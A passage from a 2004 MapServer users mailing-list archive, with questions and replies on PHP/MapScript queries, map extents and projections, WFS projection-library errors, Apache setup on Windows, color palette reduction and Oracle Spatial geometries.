--=====================_21276062==.ALT-- From TENIERER at gov.ns.ca Mon Mar 22 09:35:03 2004 From: TENIERER at gov.ns.ca (Rene Teniere ) Date: Mon, 22 Mar 2004 13:35:03 -0400 Subject: [Mapserver-users] Questions about queryByPoint and queryByRectangle for PHP/MapScript Message-ID: Hi all, I've spent 2 days researching how to perform a simple info style query for the features in my site. I have looked at all the literature on the lists and am still confused. I have this down: $queryRect = ms_newRectObj(); $queryRect->setExtent($queryMinX,$queryMinY,$queryMaxX,$queryMaxY); @$map->queryByRect($queryRect); and $queryPoint = ms_newPointObj(); $queryPoint->setXY($myQueryX,myQueryY); @$map->queryByPoint($queryPoint,MS_MULTIPLE,-1); but what am I supposed to do after that? Should I be doing this to the layer object instead? I know that MS_SUCCESS or MS_FAILIURE is returned and I can use a logic loop to go from there. Do I have to open the database and manually pull out the info for each item? If so, how do I get the index? You can see my problem, I find this all very confusing. Please help if you can. Thanks, Rene From sd at dil.in Mon Mar 22 10:14:12 2004 From: sd at dil.in (Saurabh Data) Date: Mon, 22 Mar 2004 18:14:12 +0000 Subject: [Mapserver-users] demo blank screen and tmp significance Message-ID: Dear users After installing the demo , I have changed all gif files to png and done the necessary changes in demo_init.html and demo.map but I get a blank screen without any images but with relevant text. How do I solve this problem ? Cheers Saurabh Data _________________________________________________________________ Express yourself with cool new emoticons http://www.msn.co.uk/specials/myemo From eduardo at consultoria.eti.br Mon Mar 22 10:32:46 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Mon, 22 Mar 2004 15:32:46 -0300 Subject: [Mapserver-users] how to redirect using query mode? Message-ID: <20040322183246.24072.qmail@hm47.locaweb.com.br> i'm using mapserver 3.3 for windows in CGI mode and have to implement a redirect system. eg.: there's a layer representing the cities(points) and when a user clicks a city( after setting the app to query mode), this query should start an "info page" like .... www.myserver.com.br/infopage.asp?ID=[CITY_ID] where [CITY_ID] is a field of shapefile containg the code of city. but how to do it? thanks Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From warmerdam at pobox.com Mon Mar 22 10:49:32 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 22 Mar 2004 13:49:32 -0500 Subject: [Mapserver-users] Extent and units In-Reply-To: <6.0.1.1.0.20040322172354.01ecc218@pop.cls.fr> References: <6.0.1.1.0.20040322172354.01ecc218@pop.cls.fr> Message-ID: <405F353C.9090900@pobox.com> Tony Jolibois wrote: > Hi all, > > I don't understand the extent of the data in the demo of the mapserver : > > * in the map file : EXTENT > > 201621.496941 -294488.285333 > 1425518.020722 > 498254.511514 > > * the same data with ogrinfo : -97.238976 41.619778 -82.122902 > 49.385620 > > The 1rst are in meter and the second in degrees, how do you pass from > the 2nd to the first ? > Can't we define the EXTENT with decimal degrees in the mapfile ? Tony, My assumption would be that the underlying data layer (as reported by ogrinfo) is in geographic coordinates while the map has a PROJECTION declaration for the map display forcing it to some projected coordinate system. The extent would then be in whatever coordinate system the map is defined in. In cases like this MapServer automatically takes care of reproject between the layer coordinate system and map coordinate system as long as everything is declared properly. You could either take the geographic bounds and reproject them to the target coordinate system to set the EXTENT line, or if you really want your resulting map to be sampled on a geographic grid you could reset the map level PROJECTION definition to be geographic. You might find you also need to change the UNITS declaration to DD (decimal degrees). It might be helpful if you supplied your .map file or at least the portions dealing with the layer in quetion and map level settings. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jnielsen at aero-graphics.com Mon Mar 22 12:45:32 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Mon, 22 Mar 2004 13:45:32 -0700 Subject: [Mapserver-users] jbox/dbox error message retrieval. Message-ID: <1079988332.405f506c60f76@www.agi-lan.com> I am using the javascript jbox/dbox interface and I was wondering if there is way to retrieve the error messages one normally sees output by the mapserver cgi. An example might be when you specify the incorrect TYPE for a layer. TIA ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From jhart at frw.uva.nl Tue Mar 23 01:53:30 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Tue, 23 Mar 2004 10:53:30 +0100 Subject: [Mapserver-users] reducing RGB maps to 8bit Message-ID: <4060091A.2030103@frw.uva.nl> Hi, Not a specific MapServer question, but I guess there are people on this list who know something about this. I have about 600 historical cadastral maps dating from about 1830. They have been scanned as 24bits jpg files, and each map is about 4000*4000 pixels. To display them efficiently with MapServer I need to transform them to 8bit, all in the same palette. Colors on the different maps don't match exactly, due to two centuries of wear and tear The question is: does anyone know a way to compute some sort of optimal colormap for this amount of data, something like "imagemagick -display" or the gdal-utility "rgb2pct.py", not for a single file, but for a large set of images. There is some literature about it, e.g. "comp.graphics.algorithms 3.02" and "graphics gems", but before I start programming myself, perhaps someone knows an easier way. Thanks, Jan From steve.lime at dnr.state.mn.us Mon Mar 22 13:55:12 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 22 Mar 2004 15:55:12 -0600 Subject: [Mapserver-users] jbox/dbox error message retrieval. Message-ID: Not easily, the MapServer CGI doesn't have the ability to return errors in the image. However, assuming you're using mapserv.js as well you could easily hack the draw method to do WMS requests instead of straight MapServer CGI requests (I don't think you'd loose much) and set exceptions to be handled inimage. Steve >>> "Jason M. Nielsen" 3/22/2004 2:45:32 PM >>> I am using the javascript jbox/dbox interface and I was wondering if there is way to retrieve the error messages one normally sees output by the mapserver cgi. An example might be when you specify the incorrect TYPE for a layer. TIA ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From scoota at supanet.com Mon Mar 22 13:57:42 2004 From: scoota at supanet.com (Keith Campbell) Date: Mon, 22 Mar 2004 21:57:42 +0000 Subject: [Mapserver-users] WFS Anyone? In-Reply-To: <405E3904.9080704@pobox.com> References: <405E201E.7080900@supanet.com> <405E3904.9080704@pobox.com> Message-ID: <405F6156.3090108@supanet.com> Hi Frank, Thanks for your reply. I've discovered what the problem was - MapServer had not been compiled --with-wfs as I thought it had - D'oh! Anyway, it's been recompiled appropriately and the GetCapabilities request does work. However, the GetFeature request returns this error:- msProcessProjection(): Projection library error. no system list, errno: 2 So far the MapServer error messages I've come across have been self-explanatory, but I'm not sure about that one. Presumably it's come from PROJ4, but I don't know what system list it's referring to. Any ideas? And how do I put this right? The WFS can be found at:- http://andrea-ws.scit.wlv.ac.uk/cgi-bin/mapserv?map=/home/stud/0/c0051956/public_html/Project/MapServer/firstwlvWFS.map&service=WFS&version=1.0.0&request=GetFeature&TypeName=UrbanAreas Regards, Keith Frank Warmerdam wrote: > Keith Campbell wrote: > >> OK, let's try again. >> >> Does anyone know why I might get a raster image instead of GML when I >> send a GetCapabilities or GetFeature request to my WFS server? As far >> as I know my version (4.01) of MapServer has been built with the >> necessaries for WFS server support, and my mapfile has the right meta >> tags. What else could be the problem? Or do I need to re-check the >> build? > > > Keith, > > If you are actually getting an image back there are two likely > reasons. One > is that you are using SERVICE=WMS instead of SERVICE=WFS, and the > other is that > you are getting an error back "inimage". Is the result actually a map? > > However, to get help you are likely going to need to show us all your > exact request url, and perhaps your map file. Ideally, expose the > service on > the internet so we can look at it more closely. > > Best regards, From warmerdam at pobox.com Mon Mar 22 14:18:04 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 22 Mar 2004 17:18:04 -0500 Subject: [Mapserver-users] WFS Anyone? In-Reply-To: <405F6156.3090108@supanet.com> References: <405E201E.7080900@supanet.com> <405E3904.9080704@pobox.com> <405F6156.3090108@supanet.com> Message-ID: <405F661C.5040302@pobox.com> Keith Campbell wrote: > Hi Frank, > > Thanks for your reply. > > I've discovered what the problem was - MapServer had not been compiled > --with-wfs as I thought it had - D'oh! Anyway, it's been recompiled > appropriately and the GetCapabilities request does work. However, the > GetFeature request returns this error:- > > msProcessProjection(): Projection library error. no system list, errno: 2 > > So far the MapServer error messages I've come across have been > self-explanatory, but I'm not sure about that one. Presumably it's come > from PROJ4, but I don't know what system list it's referring to. Any > ideas? And how do I put this right? Keith, The error text you see actually indicates that the attempt to turn a system provided error number (2) into a message failed because strerrno() was not configured for use on the system. That errno value likely is ENOENT meaning basically, file not found. That is the projections library looked for a file, likely the "epsg" file but could not find it. This error reporting sucks, and I am at fault unfortunately. Anways, ensure you have the proj.4 support files fully installed (they usually would end up in /usr/local/share/proj) and then if they still aren't found set the PROJ_LIB environment variable to point to the directory where they are found. You likely need at least the "epsg" file. Possibly also the nad83/27 datum shifting files if you are working with data requiring datuming shifting on the fly. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From scoota at supanet.com Mon Mar 22 15:13:42 2004 From: scoota at supanet.com (Keith Campbell) Date: Mon, 22 Mar 2004 23:13:42 +0000 Subject: [Mapserver-users] WFS Anyone? In-Reply-To: <405F661C.5040302@pobox.com> References: <405E201E.7080900@supanet.com> <405E3904.9080704@pobox.com> <405F6156.3090108@supanet.com> <405F661C.5040302@pobox.com> Message-ID: <405F7326.8090500@supanet.com> Frank, The files you speak of appear to be in /export/home/local/util/proj/nad Assuming that this location is not being picked up, I set PROJ_LIB to point to this directory. However, that didn't resolve the problem. Possibly this is due to the fact i don't have admin rights, and although the variable was reported to have changed, when I logged out and back in again, the variable was not set. I think I will need to get the server administrator to set this variable and try again? Keith Frank Warmerdam wrote: > Keith Campbell wrote: > >> Hi Frank, >> >> Thanks for your reply. >> >> I've discovered what the problem was - MapServer had not been >> compiled --with-wfs as I thought it had - D'oh! Anyway, it's been >> recompiled appropriately and the GetCapabilities request does work. >> However, the GetFeature request returns this error:- >> >> msProcessProjection(): Projection library error. no system list, >> errno: 2 >> >> So far the MapServer error messages I've come across have been >> self-explanatory, but I'm not sure about that one. Presumably it's >> come from PROJ4, but I don't know what system list it's referring to. >> Any ideas? And how do I put this right? > > > Keith, > > The error text you see actually indicates that the attempt to turn a > system > provided error number (2) into a message failed because strerrno() was > not > configured for use on the system. That errno value likely is ENOENT > meaning > basically, file not found. That is the projections library looked for > a file, > likely the "epsg" file but could not find it. > > This error reporting sucks, and I am at fault unfortunately. > > Anways, ensure you have the proj.4 support files fully installed (they > usually > would end up in /usr/local/share/proj) and then if they still aren't > found set > the PROJ_LIB environment variable to point to the directory where they > are > found. You likely need at least the "epsg" file. Possibly also the > nad83/27 > datum shifting files if you are working with data requiring datuming > shifting on > the fly. > > Best regards, > From jacob.delfos at maunsell.com Mon Mar 22 15:40:29 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Tue, 23 Mar 2004 10:40:29 +1100 Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0 .48 Message-ID: Hi, I have no problems with this version of Apache in Windows. Perhaps it cannot find your legend.exe file. I placed it in a folder that is included in the windows PATH statement. Also, you have to scriptalias the mapserver.exe directory. Jacob -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Diego Magni Sent: Monday, March 22, 2004 9:25 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 Hi List, I've installed MapServer 4.0.1 (Windows Binary, ms401_gif_pg.zip) with Apache 2.0.48, but I've some problems with Legend, Scalebar and Reference Map Objects and with TrueType fonts. When I run a MapServer application, the map is correctly displayed into the template file, but legend, reference map and scalebar images aren't created. Furthermore, the service runs only if I use bitmap fonts, while if I use TrueType, there's the following error message: "msGetLabelSize(): TrueType Font error. Could not find/open font". Since the map is created and displayed, some template references like [id], [host], [port], [scale] or [cellsize] work correctly and legend.exe, scalebar.exe, etc. work properly with MS-Dos, I think that my problems can be from an Apache misconfiguration. Can anyone help me? Thank you in advance, best regards, Diego _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From murilo.yoshida at agx.com.br Mon Mar 22 15:55:33 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Mon, 22 Mar 2004 20:55:33 -0300 Subject: RES: [Mapserver-users] Questions about queryByPoint and queryByRectangle for PHP/MapScript In-Reply-To: Message-ID: <000001c41069$2d5a0020$1364a8c0@parapente> Ren?, You have to do a getResult... It returns a resultCacheMemberObj and then you can get the shape index... Hope that helps, Murilo -----Mensagem original----- De: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] Em nome de Rene Teniere Enviada em: segunda-feira, 22 de mar?o de 2004 14:35 Para: mapserver-users at lists.gis.umn.edu Assunto: [Mapserver-users] Questions about queryByPoint and queryByRectangle for PHP/MapScript Hi all, I've spent 2 days researching how to perform a simple info style query for the features in my site. I have looked at all the literature on the lists and am still confused. I have this down: $queryRect = ms_newRectObj(); $queryRect->setExtent($queryMinX,$queryMinY,$queryMaxX,$queryMaxY); @$map->queryByRect($queryRect); and $queryPoint = ms_newPointObj(); $queryPoint->setXY($myQueryX,myQueryY); @$map->queryByPoint($queryPoint,MS_MULTIPLE,-1); but what am I supposed to do after that? Should I be doing this to the layer object instead? I know that MS_SUCCESS or MS_FAILIURE is returned and I can use a logic loop to go from there. Do I have to open the database and manually pull out the info for each item? If so, how do I get the index? You can see my problem, I find this all very confusing. Please help if you can. Thanks, Rene _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mark at markrodrigo.com Mon Mar 22 16:23:43 2004 From: mark at markrodrigo.com (Mark Rodrigo) Date: Mon, 22 Mar 2004 18:23:43 -0600 Subject: [Mapserver-users] Populate HWY Symbol with Field Text & Where to Get Mexican HWY Symbols Message-ID: Hello all: Is there a way in Mapserver to populate a Hwy symbol Label with a field value? I can do this is Arcmap, and was wondering how I might do it in Mapserver. Also, anybody know where I can get some symbols for Mexican Highways. Thanks Mark -- From tbartlett at dddd.com.au Mon Mar 22 16:51:37 2004 From: tbartlett at dddd.com.au (Thomas Bartlett) Date: Tue, 23 Mar 2004 11:51:37 +1100 Subject: [Mapserver-users] Reference Map Navigation Message-ID: <000001c41070$ffbdb1e0$1701a8c0@dddd.com.au> Hi All, I'm having problems using the reference map to navigate within MapServer. Why, when I click on the Reference Image is pan does it invert the y (vertical) values? I have a reference map of Australia, I click in the upper left corner of the reference image and the map pans to the lower left corner ! When I click lower right and map pans to upper right ! When a pan within the main map window the reference window is always correct, it only stuffs up when I use the reference map to pan !! It seems that the click returns ref.x and ref.y coordinates from the upper left... But mapserver uses coordinates from the lower left !! What am I doing wrong ?? Many Thanks Tom Bartlett From rich at greenwoodmap.com Mon Mar 22 20:44:02 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Mon, 22 Mar 2004 21:44:02 -0700 Subject: [Mapserver-users] reducing RGB maps to 8bit In-Reply-To: <4060091A.2030103@frw.uva.nl> References: <4060091A.2030103@frw.uva.nl> Message-ID: <405FC092.7070206@greenwoodmap.com> Jan Hartmann wrote: > Hi, > > Not a specific MapServer question, but I guess there are people on this > list who know something about this. I have about 600 historical > cadastral maps dating from about 1830. They have been scanned as 24bits > jpg files, and each map is about 4000*4000 pixels. To display them > efficiently with MapServer I need to transform them to 8bit, all in the > same palette. Colors on the different maps don't match exactly, due to > two centuries of wear and tear The question is: does anyone know a way > to compute some sort of optimal colormap for this amount of data, > something like "imagemagick -display" or the gdal-utility "rgb2pct.py", > not for a single file, but for a large set of images. There is some > literature about it, e.g. "comp.graphics.algorithms 3.02" and "graphics > gems", but before I start programming myself, perhaps someone knows an > easier way. I have used a "brute force" approach in the past: 1. Copy a representative sample of the images into a single composite image. 2. Use the Gimp or Photoshop to create an optimal color palette from the composite. 3. Save the palette, and then apply it to your whole image set. You mention "cadastral maps dating from about 1830", my state was not even a state until 1890! Regards, -- Richard Greenwood www.greenwoodmap.com From bartvde at xs4all.nl Mon Mar 22 23:38:06 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Tue, 23 Mar 2004 08:38:06 +0100 (CET) Subject: [Mapserver-users] Re: Extent Help Me !!! In-Reply-To: <20040323023256.1590.qmail@web20723.mail.yahoo.com> References: <20040323023256.1590.qmail@web20723.mail.yahoo.com> Message-ID: <6943.212.238.227.182.1080027486.squirrel@webmail.xs4all.nl> Hi, first of all, always send back a response to the complete list as this will increase your chances of getting an answer, and it will be kept in archives. Is your data in EPSG:4326? If yes then try specifying this for the MAP projection as well. Also, try using the shp2img utility to see if the problem is not with rights on your systems. You can also try to use Mapserver debugging: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?DebuggingMapserver Good luck. Best regards, Bart > Hello ! > > I have a questions.. > > I have a map file : > > I display this file but no image can create ( white image and no error) > > MAP > IMAGETYPE PNG > EXTENT ??? Help me ?? > > # I used Extent: 4.931450 -10.330521 14.607994 -2.691144 > but still get same result > > SIZE 400 300 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > SYMBOLSET "symbols/symbols35.sym" > FONTSET "fonts/fonts.list" > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > #--------------------------------------------- > LAYER > NAME a1 > TYPE POINT > DATA a1 > STATUS default > PROJECTION > "init=epsg:4326" > END > CLASS > COLOR 255 0 > SYMBOL 'star' > SIZE 10 > END > END > #------------------------------------------------- > LAYER # Display name > NAME a1 > DATA a1 > STATUS default > TYPE ANNOTATION > PROJECTION > "init=epsg:4326" > END > LABELITEM "TEN" > CLASS > COLOR -1 -1 -1 > LABEL > COLOR 132 31 31 > SHADOWCOLOR 218 218 218 > SHADOWSIZE 2 2 > TYPE TRUETYPE > FONT arial-bold > SIZE 12 > ANTIALIAS TRUE > POSITION UC > PARTIALS FALSE > MINDISTANCE 300 > BUFFER 4 > END # end of label > END # end of class > END # States label layer ends here > #------------------------------------------------- > END # end of mapfile > > I use ArcView 3.0 to creare shapefiles : a1.dbf ; a1.shx ; a1.shp > > a1.dbf : > > INFO: Open of `a1.dbf' > using driver `ESRI Shapefile' successful. > Layer name: a1 > Geometry: Point > Feature Count: 3 > Extent: (4.931450, -10.330521) - (14.607994, -2.691144) > Layer SRS WKT: > (unknown) > ID: Integer (8.0) > TEN: String (16.0) > OGRFeature(a1):0 > ID (Integer) = 0 > TEN (String) = buon > POINT (13.84405618 -2.69114417) > OGRFeature(a1):1 > ID (Integer) = 0 > TEN (String) = vui > POINT (14.60799388 -9.43926052) > OGRFeature(a1):2 > ID (Integer) = 0 > TEN (String) = daukho > POINT (4.93144968 -10.33052117) > > a1.shx: > > INFO: Open of `a1.shx' > using driver `ESRI Shapefile' successful. > Layer name: a1 > Geometry: Point > Feature Count: 3 > Extent: (4.931450, -10.330521) - (14.607994, -2.691144) > Layer SRS WKT: > (unknown) > ID: Integer (8.0) > TEN: String (16.0) > OGRFeature(a1):0 > ID (Integer) = 0 > TEN (String) = buon > POINT (13.84405618 -2.69114417) > OGRFeature(a1):1 > ID (Integer) = 0 > TEN (String) = vui > POINT (14.60799388 -9.43926052) > OGRFeature(a1):2 > ID (Integer) = 0 > TEN (String) = daukho > POINT (4.93144968 -10.33052117) > > a1.shp : > > INFO: Open of `a1.shp' > using driver `ESRI Shapefile' successful. > Layer name: a1 > Geometry > : Point > Feature Count: 3 > Extent: (4.931450, -10.330521) - (14.607994, -2.691144) > Layer SRS WKT: > (unknown) > ID: Integer (8.0) > TEN: String (16.0) > OGRFeature(a1):0 > ID (Integer) = 0 > TEN (String) = buon > POINT (13.84405618 -2.69114417) > OGRFeature(a1):1 > ID (Integer) = 0 > TEN (String) = vui > POINT (14.60799388 -9.43926052) > OGRFeature(a1):2 > ID (Integer) = 0 > TEN (String) = daukho > POINT (4.93144968 -10.33052117) > > > Thanks a lot ! > > > Do you Yahoo!? > Yahoo! Finance Tax Center - File online. File on time From potocny at espace.cz Tue Mar 23 00:20:47 2004 From: potocny at espace.cz (Jiri Potocny) Date: Tue, 23 Mar 2004 09:20:47 +0100 Subject: [Mapserver-users] Is it possible to display compound polygon with arcs (on Oracle Spatial) References: <004501c41012$7766d460$bc03a8c0@twoflower> <405F1D91.7090609@inf.univali.br> Message-ID: <004001c410af$c6014630$bc03a8c0@twoflower> Fernando, thank you for your response, it's again me who uses Oracle SQLLDR utility. The geometry I reported in the original e-mail looks like this: 2111|"33/1"|2007| |pt||||1|1005|3|1|2|1|7|2|2|11|2|1|;-549829,25|-1287249,45|-549843,560000000 06|-1287256,9399999999|-549838,90000000002|-1287265,71|-549833,06999999995|- 1287262,6699999999|-549830,54919697763|-1287262,1895820161|-549828,709999999 96|-1287260,3999999999|-549824,58999999997|-1287258,24|-549829,25|-1287249,4 5|:1| I'm able to determine extents using SDO_TUNE.EXTENT_OF and create appropriate entry in USER_SDO_GEOM_METADATA table as well as create spatial indexes (R-tree). Some minor geometry problems were found by SDO_GEOM.VALIDATE_LAYER, but not in records causing the problem. If useful, I'll send you other scripts, so that you can easily import these sample data into Oracle database. Regards, Jirka ----- Original Message ----- From: Fernando S. To: Jiri Potocny ; mapserver-users at lists.gis.umn.edu Sent: Monday, March 22, 2004 6:08 PM Subject: Re: [Mapserver-users] Is it possible to display compound polygon with arcs (on Oracle Spatial) Hi, I already had problems with this type. We (G10-LCA) know this problem with this type. The real problem it's with arc type. We have some problems to convert between the way that mapserv draw arcs and the Oracle Spatial store the arc type. We are stunding the best way to do this convertion. I have only two question, what function you use to generate this type? When I used oracle spatial function SDO_BUFFER I had this problem. And what do you what to draw? Some help you can report me. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa?ao Aplicada MapOracleSpatial developer http://g10.cttmar.univali.br ================================================================== Jiri Potocny wrote: Dear All, I experienced troubles dsiplaying compound polygon containing arcs stored in Oracle Spatial, such as: SDO_GEOMETRY(2007, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1005, 3, 1, 2, 1, 7, 2, 2, 11, 2, 1), SDO_ORDINATE_ARRAY(-549829,25, -1287249,5, -549843,56, -1287256,9, -549838,9 , -1287265,7, -549833,07, -1287262,7, -549830,55, -1287262,2, -549828,71, -1 287260,4, -549824,59, -1287258,2, -549829,25, -1287249,5)) The map server returns following error: msDrawMap(): Image handling error. Failed to draw layer named 'parcels'. msDrawShape(): General error message. Only polygon shapes can be drawn using a POLYGON layer definition. Did anybody experienced the same trouble or does anybody know how to treat such geometries, please? Regards, Jirka From diego at geomatica.como.polimi.it Tue Mar 23 00:50:37 2004 From: diego at geomatica.como.polimi.it (Diego Magni) Date: Tue, 23 Mar 2004 09:50:37 +0100 Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 References: <64FC1B3E23F04C4E931EE3F6D809FF303ABE96@DIV-MX02.divestco> Message-ID: <001e01c410b3$e9f90ce0$778faf83@ing.unico.it> Hi Zamil and List, thank you very much for your help; I already tried these tests: - MapServer 4.0.1 on Apache 1.3.29 (Windows NT OS): problems with Legend,Scalebar,ReferenceMap, TrueType; - MapServer 3.6.7 on Apache 1.3.29 (Windows NT OS): OK; - MapServer 3.6.7 on Apache 2.0.48 (Windows NT OS): OK. Now, I'm interesting to use MapServer 4.0.1 on Apache with Windows 2000 OS. Best regards, Diego ----- Original Message ----- From: "Zamil Murji" To: "Diego Magni" ; Sent: Monday, March 22, 2004 5:41 PM Subject: RE: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 > Hi, > > I had some problems a while back with Mapserver 4.0 and Apache 2.0.X. I downgraded my Apache to 1.X (sorry I don't know what the current stable release is) and everything magically started working. Maybe you should try that. > > Thanks > Zamil > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Diego Magni > Sent: Monday, March 22, 2004 9:25 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache > 2.0.48 > > > Hi List, > I've installed MapServer 4.0.1 (Windows Binary, ms401_gif_pg.zip) with > Apache 2.0.48, but I've some problems with Legend, Scalebar and Reference > Map Objects and with TrueType fonts. When I run a MapServer application, the > map is correctly displayed into the template file, but legend, reference map > and scalebar images aren't created. Furthermore, the service runs only if I > use bitmap fonts, while if I use TrueType, there's the following error > message: "msGetLabelSize(): TrueType Font error. Could not find/open font". > Since the map is created and displayed, some template references like [id], > [host], [port], [scale] or [cellsize] work correctly and legend.exe, > scalebar.exe, etc. work properly with MS-Dos, I think that my problems can > be from an Apache misconfiguration. > Can anyone help me? > Thank you in advance, > best regards, > Diego > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bartvde at xs4all.nl Tue Mar 23 02:30:34 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Tue, 23 Mar 2004 11:30:34 +0100 (CET) Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 In-Reply-To: <001e01c410b3$e9f90ce0$778faf83@ing.unico.it> References: <64FC1B3E23F04C4E931EE3F6D809FF303ABE96@DIV-MX02.divestco> <001e01c410b3$e9f90ce0$778faf83@ing.unico.it> Message-ID: <18068.212.238.227.182.1080037834.squirrel@webmail.xs4all.nl> Hi Diego, you could have a look at MS4W, this works properly out of the box. http://www.maptools.org/ms4w Latest version is: http://www.maptools.org/dl/ms4w/mapserver_ms4w-4.1-20040303.zip Best regards, Bart > Hi Zamil and List, > thank you very much for your help; I already tried these tests: > - MapServer 4.0.1 on Apache 1.3.29 (Windows NT OS): problems with > Legend,Scalebar,ReferenceMap, TrueType; > - MapServer 3.6.7 on Apache 1.3.29 (Windows NT OS): OK; > - MapServer 3.6.7 on Apache 2.0.48 (Windows NT OS): OK. > Now, I'm interesting to use MapServer 4.0.1 on Apache with Windows 2000 > OS. > > Best regards, > Diego > > ----- Original Message ----- > From: "Zamil Murji" > To: "Diego Magni" ; > > Sent: Monday, March 22, 2004 5:41 PM > Subject: RE: [Mapserver-users] Problem with MapServer 4.0.1 and Apache > 2.0.48 > > >> Hi, >> >> I had some problems a while back with Mapserver 4.0 and Apache 2.0.X. I > downgraded my Apache to 1.X (sorry I don't know what the current stable > release is) and everything magically started working. Maybe you should try > that. >> >> Thanks >> Zamil >> >> -----Original Message----- >> From: mapserver-users-admin at lists.gis.umn.edu >> [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Diego Magni >> Sent: Monday, March 22, 2004 9:25 AM >> To: mapserver-users at lists.gis.umn.edu >> Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache >> 2.0.48 >> >> >> Hi List, >> I've installed MapServer 4.0.1 (Windows Binary, ms401_gif_pg.zip) with >> Apache 2.0.48, but I've some problems with Legend, Scalebar and >> Reference >> Map Objects and with TrueType fonts. When I run a MapServer application, > the >> map is correctly displayed into the template file, but legend, reference > map >> and scalebar images aren't created. Furthermore, the service runs only >> if > I >> use bitmap fonts, while if I use TrueType, there's the following error >> message: "msGetLabelSize(): TrueType Font error. Could not find/open > font". >> Since the map is created and displayed, some template references like > [id], >> [host], [port], [scale] or [cellsize] work correctly and legend.exe, >> scalebar.exe, etc. work properly with MS-Dos, I think that my problems >> can >> be from an Apache misconfiguration. >> Can anyone help me? >> Thank you in advance, >> best regards, >> Diego >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From sd at dil.in Tue Mar 23 04:32:37 2004 From: sd at dil.in (Saurabh Data) Date: Tue, 23 Mar 2004 12:32:37 +0000 Subject: [Mapserver-users] "postgis ---> mapserver" query Message-ID: Dear Users Thanks for help till now. I have successfully installed mapserver and its working !! Now as part of my implementation, I need to link it to postgreSQL DB's spatial extention called POSTGIS. I know I need to add a layer to the map file of mapserver and link it to POSTGIS. My question is "Is there any (spatial) data available that I can put in POSTGIS and link it to mapserver". Because as part of my implementation I want to use POSTGIS as a back-end and call it from mapserver. OR is it possible to put (spatial)data already contained in mapserver to POSTGIS and retrieve it ? If this is possible, any ideas how it can be done ? Thanks for nay help !! Cheers Saurabh Data _________________________________________________________________ It's fast, it's easy and it's free. Get MSN Messenger today! http://www.msn.co.uk/messenger From siki at agt.bme.hu Tue Mar 23 07:25:04 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 23 Mar 2004 14:25:04 -0100 (GMT+1) Subject: [Mapserver-users] demo blank screen and tmp significance {Scanned} In-Reply-To: Message-ID: Hi, On Mon, 22 Mar 2004, Saurabh Data wrote: > Dear users > > After installing the demo , I have changed all gif files to png and done the > necessary changes in demo_init.html and demo.map but I get a blank screen > without any images but with relevant text. > > How do I solve this problem ? Check your tmp directory, has apache write permission to it? Are there any image files there? Bye Zoltan From jhart at frw.uva.nl Tue Mar 23 05:35:07 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Tue, 23 Mar 2004 14:35:07 +0100 Subject: [FMG-SPAM] - 